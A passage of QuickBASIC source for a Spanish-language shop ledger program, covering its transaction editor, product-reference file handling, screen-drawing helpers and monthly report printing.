NEXT a + SaveState + RESUME + CASE 24, 25 + printerr = true + box 8, 13, 14, 69 + center 11, "La impresora no responde ..." + center 12, "Presione Barra espaciadora para continuar" + WHILE INKEY$ <> "": WEND + + RESUME NEXT + CASE ELSE + END SELECT + RESUME NEXT + +ErrorCaj: + OPEN "Caja.cfg" FOR OUTPUT AS #1 + PRINT #1, "N" + CLOSE +RESUME NEXT + + + +'The following data defines the color schemes available via the main menu. +' +' scrn dots bar back title shdow choice curs cursbk shdow +DATA 0, 7, 15, 7, 0, 7, 0, 15, 0, 0 +DATA 1, 9, 12, 3, 0, 1, 15, 0, 7, 0 +DATA 3, 15, 13, 1, 14, 3, 15, 0, 7, 0 +DATA 7, 12, 15, 4, 14, 0, 15, 15, 1, 0 + +'The following data is actually a machine language program to +'scroll the screen up or down very fast using a BIOS call. +DATA &HB8,&H01,&H06,&HB9,&H01,&H04,&HBA,&H4E,&H16,&HB7,&H00,&HCD,&H10,&HCB +DATA &HB8,&H01,&H07,&HB9,&H01,&H04,&HBA,&H4E,&H16,&HB7,&H00,&HCD,&H10,&HCB + +SUB Balan (EE%) + +END SUB + +'Box: +' Draw a box on the screen between the given coordinates. +SUB box (Row1, Col1, Row2, Col2) STATIC + + BoxWidth = Col2 - Col1 + 1 + + LOCATE Row1, Col1 + PRINT "Ú"; STRING$(BoxWidth - 2, "Ä"); "¿"; + + FOR a = Row1 + 1 TO Row2 - 1 + LOCATE a, Col1 + PRINT "³"; SPACE$(BoxWidth - 2); "³"; + NEXT a + + LOCATE Row2, Col1 + PRINT "À"; STRING$(BoxWidth - 2, "Ä"); "Ù"; + +END SUB + +'Center: +' Center text on the given row. +SUB center (Row, text$) + LOCATE Row, 41 - LEN(text$) / 2 + PRINT text$; +END SUB + +'Cvdt$: +' Convert a double precision number to a string WITHOUT a leading space. +FUNCTION Cvdt$ (x#) + + Cvdt$ = RIGHT$(STR$(x#), LEN(STR$(x#)) - 1) + +END FUNCTION + +'Cvit$: +' Convert an integer to a string WITHOUT a leading space. +FUNCTION Cvit$ (x) + Cvit$ = RIGHT$(STR$(x), LEN(STR$(x)) - 1) +END FUNCTION + +'Cvst$: +' Convert a single precision number to a string WITHOUT a leading space +FUNCTION Cvst$ (x!) + Cvst$ = RIGHT$(STR$(x!), LEN(STR$(x!)) - 1) +END FUNCTION + +'EditTrans: +' This is the full-screen editor which allows you to enter and change +' transactions +SUB EditTrans (item%) + + 'Stores info about each column + REDIM help$(6), Col(6), vis(6), max(6), CurrString$(1), CurrFig#(6) + 'Array to keep the current balance at all the transactions + REDIM Balance#(1000), Ca#(1000), Cb$(1000), Cc#(1000), Cd#(1000), Ce#(1000), lin$(155) + + + + gf = 0 + box 17, 5, 21, 75 + center 18, "Por Favor Introduzca Fecha" + center 19, "con la que realizar la transacci¢n" + PrintHelpLine "Fecha: mm - dd - aaaa" + DO + emp$ = GetString$(20, 7, DATE$, end$, 10, 10) + Fecha$ = end$ + M = VAL(MID$(Fecha$, 1, 2)) + D = VAL(MID$(Fecha$, 4, 2)) + IF M <= 12 AND D <= 31 THEN gf = 1 + IF LEN(Fecha$) < 10 THEN gf = 0 + LOOP WHILE gf = 0 + gf = 0 + + + mes$ = MID$(Fecha$, 1, 2) + dia$ = MID$(Fecha$, 4, 2) + an$ = MID$(Fecha$, 7, 4) + CurrDia$ = dia$ + compufech$ = mes$ + dia$ + an$ + + 'Open random access file + + file$ = "E-" + mes$ + an$ + "." + Cvit$(item) + + OPEN file$ FOR RANDOM AS #1 LEN = 59 + + FIELD #1, 2 AS IoDia$, 6 AS IoRef$, 22 AS IoDesc$, 3 AS IoUnd$, 3 AS IoCC$, 8 AS IoPvp$, 8 AS IoPc$ + FIELD #1, 2 AS valid$, 5 AS IoMaxRecord$ + + 'Initialize variables + CurrString$(1) = "" + CurrFig#(2) = 0 + CurrFig#(3) = 0 + CurrFig#(4) = 0 + CurrFig#(5) = 0 + CurrFig#(6) = 0 + + GET #1, 1 + IF valid$ <> "SI" THEN + LSET IoDia$ = "" + LSET IoRef$ = STR$(0) + LSET IoDesc$ = "" + LSET IoUnd$ = STR$(0) + LSET IoCC$ = STR$(0) + LSET IoPvp$ = STR$(0) + LSET IoPc$ = STR$(0) + PUT #1, 2 + LSET valid$ = "SI" + LSET IoMaxRecord$ = "1" + PUT #1, 1 + END IF + + MaxRecord = VAL(IoMaxRecord$) + + Balance#(0) = 0 + a = 1 + + WHILE a <= MaxRecord + GET #1, a + 1 + p# = VAL(IoPvp$) + p1# = VAL(IoUnd$) + p2# = VAL(IoCC$) + p3# = VAL(IoPc$) + Balance#(a) = p# * p1# * p2# - p1# * p2# * p3# + BalTotal# = BalTotal# + Balance#(a) + a = a + 1 + WEND + + GOSUB CargaCienReferencias + + + help$(1) = "Referencia del Producto " + help$(2) = "Producto (sin Referencia o nuevo) " + help$(3) = "Unidades totales " + help$(4) = "Unidades parciales, ( o por caja ) " + help$(5) = "P.V.P. del Producto, ( por unidad )" + help$(6) = "Precio de Costo, ( la unidad ) " + + Col(1) = 2: vis(1) = 6: max(1) = 6 + Col(2) = 9: vis(2) = 22: max(2) = 22 + Col(3) = 32: vis(3) = 5: max(3) = 3 + Col(4) = 38: vis(4) = 5: max(4) = 3 + Col(5) = 44: vis(5) = 10: max(5) = 8 + Col(6) = 55: vis(6) = 10: max(6) = 8 + + 'Draw Screen + COLOR colors(7, ColorPref), colors(4, ColorPref) + box 2, 1, 21, 80 + box 22, 1, 24, 80 + COLOR colors(5, ColorPref), colors(4, ColorPref) + LOCATE 1, 1: PRINT SPACE$(80); + LOCATE 1, 4: PRINT "Empresa: " + Trim$(account(item).Title); + 'LOCATE 1, 63: PRINT "Fecha: "; + 'LOCATE 1, 63: PRINT "Fecha: " + Fecha$; + + COLOR colors(7, ColorPref), colors(4, ColorPref) + + LOCATE 3, 2: PRINT " Ref# ³ Concepto ³ Und ³Und/C³ P.V.P. ³ P.C. ³ Beneficios " + LOCATE 4, 2: PRINT "ÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÅÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄ" + u1$ = " ³ ³ ³ ³ ³ ³ " + u1x$ = "ßßßßßß³ßßßßßßßßßßßßßßßßßßßßßß³ßßßßß³ßßßßß³ßßßßßßßßßß³ßßßßßßßßßß³ßßßßßßßßßßßßßß" + u2$ = "##,###,###" + u3$ = "##,###,###,###" + u5$ = "###" + u6$ = "######" + u9$ = "#,###,###,###,###" + + CurrTopline = 1: bajabarra = 1 + GOSUB EditTransPrintWholeScreen + bajabarra = 0 + + CurrRow = 1 + CurrCol = 1 + PrintHelpLine help$(CurrCol) + "| " + + GOSUB EditTransGetLine + + finished = false + + GOSUB EditTransPrintBalances + + + 'Loop until is pressed + DO + GOSUB EditTransShowCursor 'Show Cursor, Wait for key + DO: kbd$ = INKEY$: LOOP UNTIL kbd$ <> "" + ed = 1: GOSUB EditTransShowCursor: ed = 0: 'Oculta el cursor para obtener datos ED=1 + bajabar = 0: bajabarra = 0 + + + IF kbd$ >= " " AND kbd$ < "~" OR kbd$ = CHR$(8) THEN 'If legal key, edit item + GOSUB EditTransEditItem + END IF + + SELECT CASE kbd$ 'Handle Special keys + CASE CHR$(0) + "H" 'up arrow + GOSUB EditTransMoveUp + CASE CHR$(0) + "P" 'Down arrow + GOSUB EditTransMoveDown + CASE CHR$(0) + "K", CHR$(0) + CHR$(15) 'Left Arrow,BackTab + + CurrCol = (CurrCol + 4) MOD 6 + 1 + PrintHelpLine help$(CurrCol) + "| " + CASE CHR$(0) + "M", CHR$(9) 'Right Arrow,Tab + CurrCol = (CurrCol) MOD 6 + 1 + PrintHelpLine help$(CurrCol) + "| " + CASE CHR$(0) + "G" 'Home + CurrCol = 1 + CASE CHR$(0) + "O" 'End + CurrCol = 6 + CASE CHR$(0) + "I" 'Page Up + CurrRow = 1 + CurrTopline = CurrTopline - 16 + IF CurrTopline < 1 THEN + CurrTopline = 1 + END IF + '************************ + bajabarra = 1 + + GOSUB EditTransPrintWholeScreen + GOSUB EditTransGetLine + bajabarra = 0 + GOSUB PrintBalances + CASE CHR$(0) + "Q" 'Page Down + CurrRow = 1 + CurrTopline = CurrTopline + 16 + IF CurrTopline > MaxRecord THEN + CurrTopline = MaxRecord + END IF + bajabarra = 1 + GOSUB EditTransPrintWholeScreen + GOSUB EditTransGetLine + bajabarra = 0 + GOSUB PrintBalances + + CASE CHR$(0) + "<" 'F2 + finished = true + CASE CHR$(0) + "C" 'F9 + GOSUB EditTransAddRecord + CASE CHR$(0) + "D" 'F10 + GOSUB EditTransDeleteRecord + CASE CHR$(13) 'Enter + CASE ELSE + BEEP + END SELECT + LOOP UNTIL finished + + CLOSE + + EXIT SUB + + +EditTransShowCursor: + IF ed = 1 THEN + COLOR colors(7, ColorPref), colors(4, ColorPref) + ELSE + COLOR colors(8, ColorPref), colors(9, ColorPref) + END IF + LOCATE CurrRow + 4, Col(CurrCol) + + SELECT CASE CurrCol + + CASE 1 + IF CurrFig#(2) <> 0 THEN + PRINT USING u6$; CurrFig#(2); + ELSE + PRINT " "; + END IF + + CASE 2 + + IF RTRIM$(LTRIM$(CurrString$(1))) <> "" THEN + PRINT LEFT$(CurrString$(1), vis(2)); + ELSE + PRINT SPACE$(vis(2)) + END IF + + + CASE 3 + IF CurrFig#(3) <> 0 THEN + PRINT " "; + PRINT USING u5$; CurrFig#(3); + PRINT " "; + ELSE + PRINT " "; + END IF + + CASE 4 + IF CurrFig#(4) <> 0 THEN + PRINT " "; + PRINT USING u5$; CurrFig#(4); + PRINT " "; + ELSE + PRINT " "; + END IF + + CASE 5 + IF CurrFig#(5) <> 0 THEN + PRINT USING u2$; CurrFig#(5); + ELSE + PRINT " "; + END IF + + CASE 6 + IF CurrFig#(6) <> 0 THEN + PRINT USING u2$; CurrFig#(6); + ELSE + PRINT " "; + END IF + + + END SELECT + + RETURN + + +EditTransEditItem: + + CurrRecord = CurrTopline + CurrRow - 1 + + COLOR colors(7, ColorPref), colors(4, ColorPref) + LOCATE 1, 63: PRINT "Fecha: "; + LOCATE 1, 63: PRINT "Fecha: " + Fecha$; + COLOR colors(8, ColorPref), colors(9, ColorPref) + GraDat = 0: Clasifica = 0 + + SELECT CASE CurrCol + + CASE 1 + + start$ = kbd$ + DO + kbd$ = GetString$(CurrRow + 4, Col(1), start$, new$, vis(1), max(1)) + new1# = VAL(new$) + start$ = "" + LOOP WHILE new1# >= 1001# OR new1# < 0 + CurrFig#(2) = new1# + + reg = 0: b = 1 + + + DO + + IF Ca#(b) = CurrFig#(2) THEN + CurrString$(1) = Cb$(b) + CurrFig#(4) = Cc#(b) + CurrFig#(5) = Cd#(b) + CurrFig#(6) = Ce#(b) + Clasifica = 1: Valpu = 1 + EXIT DO + END IF + b = b + 1 + + LOOP WHILE Ca#(b) <> 0 OR b <= TopeRef# + 1 + + IF Clasifica = 0 THEN + df = 0 + FOR Ol = 16 TO 19 + FOR Oc = 24 TO 49 + df = df + 1 + lin$(df) = CHR$(SCREEN(Ol, Oc)) + NEXT Oc, Ol + box 16, 24, 19, 49 + IF TopeRef# = 999 THEN + LOCATE 17, 25: PRINT " Lo siento, referencias " + LOCATE 18, 25: PRINT "AGOTADAS, elimine alguna" + ELSE + LOCATE 17, 25: PRINT "Esa Referencia no existe" + LOCATE 18, 25: PRINT "¨ Desea crearla ? (S/N) " + DO + i$ = INKEY$ + LOOP WHILE i$ = "" + + COLOR colors(7, ColorPref), colors(4, ColorPref) + df = 0 + FOR Ol = 16 TO 19 + FOR Oc = 24 TO 49 + df = df + 1 + LOCATE Ol, Oc: PRINT lin$(df) + NEXT Oc, Ol + IF i$ = "s" OR i$ = "S" THEN + Valpu = 0 + TopeRef# = TopeRef# + 1 + GraDat = 1 + GraCurrDat = CurrTopline + CurrRow - 1 + ELSEIF i$ = "n" OR i$ = "N" THEN CurrFig#(2) = 0 + + END IF + END IF + END IF + + + + + GOSUB EditTransPutLine + GOSUB EditTransGetLine + + BalTotal# = BalTotal# - Balance#(CurrRecord) + PvpTotal# = CurrFig#(3) * CurrFig#(4) * CurrFig#(5) + PcTotal# = CurrFig#(3) * CurrFig#(4) * CurrFig#(6) + Balance#(CurrRecord) = PvpTotal# - PcTotal# + BalTotal# = BalTotal# + Balance#(CurrRecord) + + + + CASE 2 + + + + IF Valpu = 0 THEN + kbd$ = GetString$(CurrRow + 4, Col(CurrCol), kbd$, new$, vis(CurrCol), max(CurrCol)) + CurrString$(1) = new$ + END IF + + GOSUB EditTransPutLine + GOSUB EditTransGetLine + + + CASE 3 + start$ = kbd$ + + DO + kbd$ = GetString$(CurrRow + 4, Col(3), start$, new$, vis(3), max(3)) + new3# = VAL(new$) + start$ = "" + + IF CurrFig#(4) <= 100# AND new3# <= 601# OR new3# <= 0 THEN EXIT DO + + IF CurrFig#(4) > 100# AND new3# <= 11 OR new3# <= 0 THEN EXIT DO + + LOOP + + + + CurrFig#(3) = new3# + GOSUB EditTransPutLine + GOSUB EditTransGetLine + + BalTotal# = BalTotal# - Balance#(CurrRecord) + PvpTotal# = CurrFig#(3) * CurrFig#(4) * CurrFig#(5) + PcTotal# = CurrFig#(3) * CurrFig#(4) * CurrFig#(6) + Balance#(CurrRecord) = PvpTotal# - PcTotal# + BalTotal# = BalTotal# + Balance#(CurrRecord) + + + + CASE 4 + + IF Valpu = 0 THEN + + start$ = kbd$ + DO + kbd$ = GetString$(CurrRow + 4, Col(4), start$, new$, vis(4), max(4)) + new4# = VAL(new$) + start$ = "" + + IF CurrFig#(3) <= 10 AND new4# <= 601 OR new4# <= 0 THEN EXIT DO + IF CurrFig#(3) > 10 AND new4# <= 101 OR new4# <= 0 THEN EXIT DO + + LOOP + + + + CurrFig#(4) = new4# + + END IF + + GOSUB EditTransPutLine + GOSUB EditTransGetLine + + BalTotal# = BalTotal# - Balance#(CurrRecord) + PvpTotal# = CurrFig#(3) * CurrFig#(4) * CurrFig#(5) + PcTotal# = CurrFig#(3) * CurrFig#(4) * CurrFig#(6) + Balance#(CurrRecord) = PvpTotal# - PcTotal# + BalTotal# = BalTotal# + Balance#(CurrRecord) + + + CASE 5 + IF Valpu = 0 THEN + + start$ = kbd$ + old3# = CurrFig#(5) + + DO + kbd$ = GetString$(CurrRow + 4, Col(5), start$, new$, vis(5), max(5)) + new5# = VAL(new$) + start$ = "" + LOOP WHILE new5# >= 75001# OR new5# < 0 + a = CurrRecord + + CurrFig#(5) = new5# + + END IF + + + GOSUB EditTransPutLine + GOSUB EditTransGetLine + + BalTotal# = BalTotal# - Balance#(CurrRecord) + PvpTotal# = CurrFig#(3) * CurrFig#(4) * CurrFig#(5) + PcTotal# = CurrFig#(3) * CurrFig#(4) * CurrFig#(6) + Balance#(CurrRecord) = PvpTotal# - PcTotal# + BalTotal# = BalTotal# + Balance#(CurrRecord) + + + CASE 6 + IF Valpu = 0 THEN + + start$ = kbd$ + old4# = CurrFig#(6) + DO + kbd$ = GetString$(CurrRow + 4, Col(6), start$, new$, vis(6), max(6)) + new6# = VAL(new$) + start$ = "" + LOOP WHILE new6# >= 75001# OR new6# < 0 + a = CurrRecord + + CurrFig#(6) = new6# + + END IF + + GOSUB EditTransPutLine + GOSUB EditTransGetLine + + BalTotal# = BalTotal# - Balance#(CurrRecord) + PvpTotal# = CurrFig#(3) * CurrFig#(4) * CurrFig#(5) + PcTotal# = CurrFig#(3) * CurrFig#(4) * CurrFig#(6) + Balance#(CurrRecord) = PvpTotal# - PcTotal# + BalTotal# = BalTotal# + Balance#(CurrRecord) + + + CASE ELSE + END SELECT + + GOSUB EditTransPrintLine + + RETURN + +EditTransMoveUp: + Valpu = 0 + IF CurrRow = 1 THEN + IF CurrTopline = 1 THEN + BEEP + ELSE + ScrollDown + CurrTopline = CurrTopline - 1 + GOSUB EditTransGetLine + GOSUB EditTransPrintLine + END IF + ELSE + CurrRow = CurrRow - 1 + GOSUB EditTransGetLine + END IF + GOSUB PrintBalances + RETURN + +EditTransMoveDown: + Valpu = 0 + IF (CurrRow + CurrTopline - 1) >= MaxRecord THEN + BEEP + ELSE + IF CurrRow = 16 THEN + ScrollUp + CurrTopline = CurrTopline + 1 + GOSUB EditTransGetLine + GOSUB EditTransPrintLine + ELSE + CurrRow = CurrRow + 1 + GOSUB EditTransGetLine + END IF + END IF + GOSUB PrintBalances + RETURN + +EditTransPrintLine: + + COLOR colors(7, ColorPref), colors(4, ColorPref) + + CurrRecord = CurrTopline + CurrRow - 1 + LOCATE CurrRow + 4, 2 + IF CurrRecord = MaxRecord + 1 THEN + PRINT u1x$; + ELSEIF CurrRecord > MaxRecord THEN + PRINT u1$; + ELSE + IF CurrFig#(2) <> 0 THEN PRINT USING u6$; CurrFig#(2); ELSE PRINT " "; + + IF RTRIM$(LTRIM$(CurrString$(1))) <> "" THEN PRINT "³" + CurrString$(1); ELSE PRINT "³ "; + + IF CurrFig#(3) <> 0 THEN PRINT "³ "; : PRINT USING u5$; CurrFig#(3); : PRINT " "; ELSE PRINT "³ "; + + IF CurrFig#(4) <> 0 THEN PRINT "³ "; : PRINT USING u5$; CurrFig#(4); : PRINT " "; ELSE PRINT "³ "; + + IF CurrFig#(5) <> 0 THEN PRINT "³"; : PRINT USING u2$; CurrFig#(5); ELSE PRINT "³ "; + + IF CurrFig#(6) <> 0 THEN PRINT "³"; : PRINT USING u2$; CurrFig#(6); ELSE PRINT "³ "; + PRINT "³"; + PRINT USING u3$; Balance#(CurrRecord); + + IF bajabar <> 1 THEN GOSUB EditTransPrintBalances + + +END IF + +RETURN + +EditTransPrintBalances: + COLOR colors(7, ColorPref), colors(4, ColorPref) + FOR a = 1 TO 16 + CurrRecord = CurrTopline + a - 1 + IF CurrRecord <= MaxRecord THEN + LOCATE 4 + a, 66 + PRINT USING u3$; Balance#(CurrTopline + a - 1); + END IF + NEXT a + +PrintBalances: + + IF bajabarra <> 1 THEN + COLOR colors(7, ColorPref), colors(4, ColorPref) + PvpTotal# = CurrFig#(3) * CurrFig#(4) * CurrFig#(5) + PcTotal# = CurrFig#(3) * CurrFig#(4) * CurrFig#(6) + LOCATE 21, 1: PRINT "ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ" + box 22, 1, 24, 80 + LOCATE 23, 2: PRINT CurrString$(1) + LOCATE 23, 25: PRINT "³"; + LOCATE 23, 26: PRINT USING u9$; PvpTotal#; + PRINT "³"; + PRINT USING u9$; PcTotal#; + PRINT "³"; + PRINT USING u9$; BalTotal#; + END IF + + RETURN + +EditTransDeleteRecord: + bajabar = 1 + IF MaxRecord = 1 THEN + BEEP + ELSE + CurrRecord = CurrTopline + CurrRow - 1 + MaxRecord = MaxRecord - 1 + a = CurrRecord + BalTotal# = BalTotal# - Balance#(CurrRecord) + WHILE a <= MaxRecord + GET #1, a + 2 + PUT #1, a + 1 + + Balance#(a) = Balance#(a + 1) + a = a + 1 + WEND + + Balance#(MaxRecord + 1) = 0 + + LSET valid$ = "SI" + LSET IoMaxRecord$ = Cvit$(MaxRecord) + PUT #1, 1 + GOSUB EditTransPrintWholeScreen + CurrRecord = CurrTopline + CurrRow - 1 + IF CurrRecord > MaxRecord THEN + GOSUB EditTransMoveUp + END IF + bajabar = 0 + GOSUB EditTransGetLine + + END IF + RETURN + +EditTransAddRecord: + bajabar = 1 + CurrRecord = CurrTopline + CurrRow - 1 + a = MaxRecord + + tb = 0 + WHILE a > CurrRecord + + GET #1, a + 1 + PUT #1, a + 2 + + Balance#(a + 1) = Balance#(a) + + a = a - 1 + + WEND + + + Balance#(CurrRecord + 1) = 0 + + MaxRecord = MaxRecord + 1 + LSET IoRef$ = STR$(0) + LSET IoDesc$ = "" + LSET IoUnd$ = STR$(0) + LSET IoCC$ = STR$(0) + LSET IoPvp$ = STR$(0) + LSET IoPc$ = STR$(0) + PUT #1, CurrRecord + 2 + + LSET valid$ = "SI" + LSET IoMaxRecord$ = Cvit$(MaxRecord) + PUT #1, 1 + GOSUB EditTransPrintWholeScreen + + GOSUB EditTransGetLine + RETURN + +EditTransPrintWholeScreen: + + temp = CurrRow + FOR CurrRow = 1 TO 16 + CurrRecord = CurrTopline + CurrRow - 1 + IF CurrRecord <= MaxRecord THEN + GOSUB EditTransGetLine + END IF + GOSUB EditTransPrintLine + NEXT CurrRow + CurrRow = temp + RETURN + + +EditTransPutLine: + + CurrRecord = CurrTopline + CurrRow - 1 + LSET IoDia$ = CurrDia$ + LSET IoRef$ = LTRIM$(RTRIM$(STR$(CurrFig#(2)))) + LSET IoDesc$ = CurrString$(1) + LSET IoUnd$ = LTRIM$(RTRIM$(STR$(CurrFig#(3)))) + LSET IoCC$ = LTRIM$(RTRIM$(STR$(CurrFig#(4)))) + LSET IoPvp$ = LTRIM$(RTRIM$(STR$(CurrFig#(5)))) + LSET IoPc$ = LTRIM$(RTRIM$(STR$(CurrFig#(6)))) + PUT #1, CurrRecord + 1 + +IF GraCurrDat = CurrRecord THEN + + file2$ = "Ref#." + Cvit$(item%) + OPEN file2$ FOR RANDOM AS #2 LEN = 54 + + FIELD #2, 6 AS IRf$, 22 AS IDsc$, 3 AS ICC$, 8 AS IPVP$, 8 AS IPC$ + FIELD #2, 2 AS vld$, 5 AS IMxRcrd$ + + LSET IRf$ = LTRIM$(RTRIM$(STR$(CurrFig#(2)))) + LSET IDsc$ = CurrString$(1) + LSET ICC$ = LTRIM$(RTRIM$(STR$(CurrFig#(4)))) + LSET IPVP$ = LTRIM$(RTRIM$(STR$(CurrFig#(5)))) + LSET IPC$ = LTRIM$(RTRIM$(STR$(CurrFig#(6)))) + PUT #2, TopeRef# + LSET vld$ = "SI" + LSET IMxRcrd$ = LTRIM$(RTRIM$(STR$(TopeRef#))) + PUT #2, 1 + + TopeRef# = VAL(IMxRcrd$) + + Ca#(TopeRef#) = CurrFig#(2) + Cb$(TopeRef#) = CurrString$(1) + Cc#(TopeRef#) = CurrFig#(4) + Cd#(TopeRef#) = CurrFig#(5) + Ce#(TopeRef#) = CurrFig#(6) + + CLOSE #2 +END IF + + + RETURN + + +EditTransGetLine: + + CurrRecord = CurrTopline + CurrRow - 1 + GET #1, CurrRecord + 1 + dia$ = IoDia$ + CurrFig#(2) = VAL(IoRef$) + CurrString$(1) = IoDesc$ + CurrFig#(3) = VAL(IoUnd$) + CurrFig#(4) = VAL(IoCC$) + CurrFig#(5) = VAL(IoPvp$) + CurrFig#(6) = VAL(IoPc$) + compufech$ = mes$ + "-" + dia$ + "-" + an$ + LOCATE 1, 63: PRINT "Fecha: "; + LOCATE 1, 63: PRINT "Fecha: " + compufech$; + + RETURN + + +CargaCienReferencias: + +CLS +box 14, 28, 17, 51 +LOCATE 15, 30: PRINT "Cargando referencias" +LOCATE 16, 30: PRINT "Por favor, espere..." + + + file2$ = "Ref#." + Cvit$(item%) + + OPEN file2$ FOR RANDOM AS #2 LEN = 54 + + FIELD #2, 6 AS IRf$, 22 AS IDsc$, 3 AS ICC$, 8 AS IPVP$, 8 AS IPC$ + FIELD #2, 2 AS vld$, 5 AS IMxRcrd$ + + + + GET #2, 1 + IF vld$ <> "SI" THEN + LSET IRf$ = STR$(0) + LSET IDsc$ = "" + LSET ICC$ = STR$(0) + LSET IPVP$ = STR$(0) + LSET IPC$ = STR$(0) + PUT #2, 2 + LSET vld$ = "SI" + LSET IMxRcrd$ = "1" + PUT #2, 1 + END IF + TopeRef# = VAL(IMxRcrd$) + + + b = 1 + WHILE b <= TopeRef# + GET #2, b + 1 + Ca#(b) = VAL(IRf$) + Cb$(b) = IDsc$ + Cc#(b) = VAL(ICC$) + Cd#(b) = VAL(IPVP$) + Ce#(b) = VAL(IPC$) + b = b + 1 + WEND + + +CLOSE #2 +RETURN + + +END SUB + +SUB Elif + +END SUB + +'FancyCls: +' Clears screen in the right color, and draws nice dots. +SUB FancyCls (dots, Background) + + VIEW PRINT 2 TO 24 + COLOR dots, Background + CLS 2 + + FOR a = 95 TO 1820 STEP 45 + Row = a / 80 + 1 + Col = a MOD 80 + 1 + LOCATE Row, Col + PRINT CHR$(250); + NEXT a + + VIEW PRINT + +END SUB + +'GetString$: +' Given a row and col, and an initial string, edit a string +' VIS is the length of the visible field of entry +' MAX is the maximum number of characters allowed in the string +FUNCTION GetString$ (Row, Col, start$, end$, vis, max) + Curr$ = Trim$(LEFT$(start$, max)) + IF Curr$ = CHR$(8) THEN Curr$ = "" + + LOCATE , , 1 + + finished = false + DO + GOSUB GetStringShowText + GOSUB GetStringGetKey + + IF LEN(kbd$) > 1 THEN + finished = true + GetString$ = kbd$ + ELSE + SELECT CASE kbd$ + CASE CHR$(13), CHR$(27), CHR$(9) + finished = true + GetString$ = kbd$ + + CASE CHR$(8) + IF Curr$ <> "" THEN + Curr$ = LEFT$(Curr$, LEN(Curr$) - 1) + END IF + + CASE " " TO "}" + IF LEN(Curr$) < max THEN + Curr$ = Curr$ + kbd$ + ELSE + BEEP + END IF + + CASE ELSE + BEEP + END SELECT + END IF + + LOOP UNTIL finished + + end$ = Curr$ + LOCATE , , 0 + EXIT FUNCTION + + +GetStringShowText: + LOCATE Row, Col + IF LEN(Curr$) > vis THEN + PRINT RIGHT$(Curr$, vis); + ELSE + PRINT Curr$; SPACE$(vis - LEN(Curr$)); + LOCATE Row, Col + LEN(Curr$) + END IF + RETURN + +GetStringGetKey: + kbd$ = "" + WHILE kbd$ = "" + kbd$ = INKEY$ + WEND + RETURN +END FUNCTION + +SUB ImpComp (so%) + + 'Stores info about each column + + 'Array to keep the current balance at all the transactions + + REDIM Col(6), Balance#(1000) + mes$ = MID$(DATE$, 1, 2) + an$ = MID$(DATE$, 7, 4) + comes$ = mes$ + "-" + an$ + gf = 0 + box 17, 5, 21, 75 + center 18, "Por Favor Introduzca Mes y a¤o" + center 19, "para imprimir gastos." + PrintHelpLine "Mes y A¤o: mm-aaaa" + DO + emp$ = GetString$(20, 7, comes$, end$, 10, 10) + Fecha$ = end$ + mes$ = MID$(Fecha$, 1, 2) + IF VAL(mes$) <= 12 THEN gf = 1 + IF LEN(Fecha$) < 7 THEN gf = 0 + LOOP WHILE gf = 0 + gf = 0 + + + mes$ = MID$(Fecha$, 1, 2) + an$ = MID$(Fecha$, 4, 4) + + + + center 18, "Imprimiendo Fecha Seleccionada" + center 19, "Por favor, espere ..." + + + 'Open random access file + + file$ = "E-" + mes$ + an$ + "." + Cvit$(so%) + + OPEN file$ FOR RANDOM AS #1 LEN = 59 + + FIELD #1, 2 AS IoDia$, 6 AS IoRef$, 22 AS IoDesc$, 3 AS IoUnd$, 3 AS IoCC$, 8 AS IoPvp$, 8 AS IoPc$ + FIELD #1, 2 AS valid$, 5 AS IoMaxRecord$ + + GET #1, 1 + IF valid$ <> "SI" THEN + center 18, "Este mes, esta vacio, verifique esto." + center 19, "--> Pulse una tecla <--" + SLEEP + EXIT SUB + END IF + + MaxRecord = VAL(IoMaxRecord$) + + Balance#(0) = 0 + a = 1 + WHILE a <= MaxRecord + GET #1, a + 1 + p# = VAL(IoPvp$) + p1# = VAL(IoUnd$) + p2# = VAL(IoCC$) + p3# = VAL(IoPc$) + Balance#(a) = p# * p1# * p2# - p1# * p2# * p3# + BalTotal# = BalTotal# + Balance#(a) + a = a + 1 + WEND + + +DO +printerr = false +ON ERROR GOTO ErrorTrap +LPRINT + +kdb$ = INKEY$ +WHILE kdb$ = "": kdb$ = INKEY$: WEND +IF kdb$ = CHR$(27) THEN EXIT SUB + +LOOP WHILE printerr = true + +box 8, 13, 14, 69 + + LPRINT SPACE$(80); + LPRINT "Empresa: " + Trim$(account(so%).Title); + GOSUB ObtMes + + LPRINT TAB(63); "Fecha: " + Fecha$; + LPRINT + + LPRINT "Dia³ Ref# ³ Concepto ³ Und ³Und/C³ P.V.P. ³ P.C. ³ Beneficios "; + LPRINT "ÄÄÄÅÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÅÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄ"; + LPRINT " ³ ³ ³ ³ ³ ³ ³ "; + + + u2$ = "##,###,###" + u3$ = "####,###,###" + u5$ = "###" + u6$ = "######" + u9$ = "#,###,###,###,###" + Curlip = 3 + + a = 1 + Curlip = 0 + + WHILE a <= MaxRecord + GET #1, a + 1 + Curlip = Curlip + 1 + IF Curlip = 50 THEN GOSUB PausePage + + + dia$ = IoDia$ + r# = VAL(IoRef$) + D$ = IoDesc$ + p# = VAL(IoPvp$) + p1# = VAL(IoUnd$) + p2# = VAL(IoCC$) + p3# = VAL(IoPc$) + Balance#(a) = p# * p1# * p2# - p1# * p2# * p3# + + IF LEN(dia$) = 1 THEN LPRINT TAB(3); dia$ + "³"; ELSE LPRINT TAB(2); dia$ + "³"; + + + IF r# <> 0 THEN LPRINT USING u6$; r#; ELSE LPRINT " "; + + IF RTRIM$(LTRIM$(D$)) <> "" THEN LPRINT "³" + D$; ELSE LPRINT "³ "; + + IF p1# <> 0 THEN LPRINT "³ "; : LPRINT USING u5$; p1#; : LPRINT " "; ELSE LPRINT "³ "; + + IF p2# <> 0 THEN LPRINT "³ "; : LPRINT USING u5$; p2#; : LPRINT " "; ELSE LPRINT "³ "; + + IF p3# <> 0 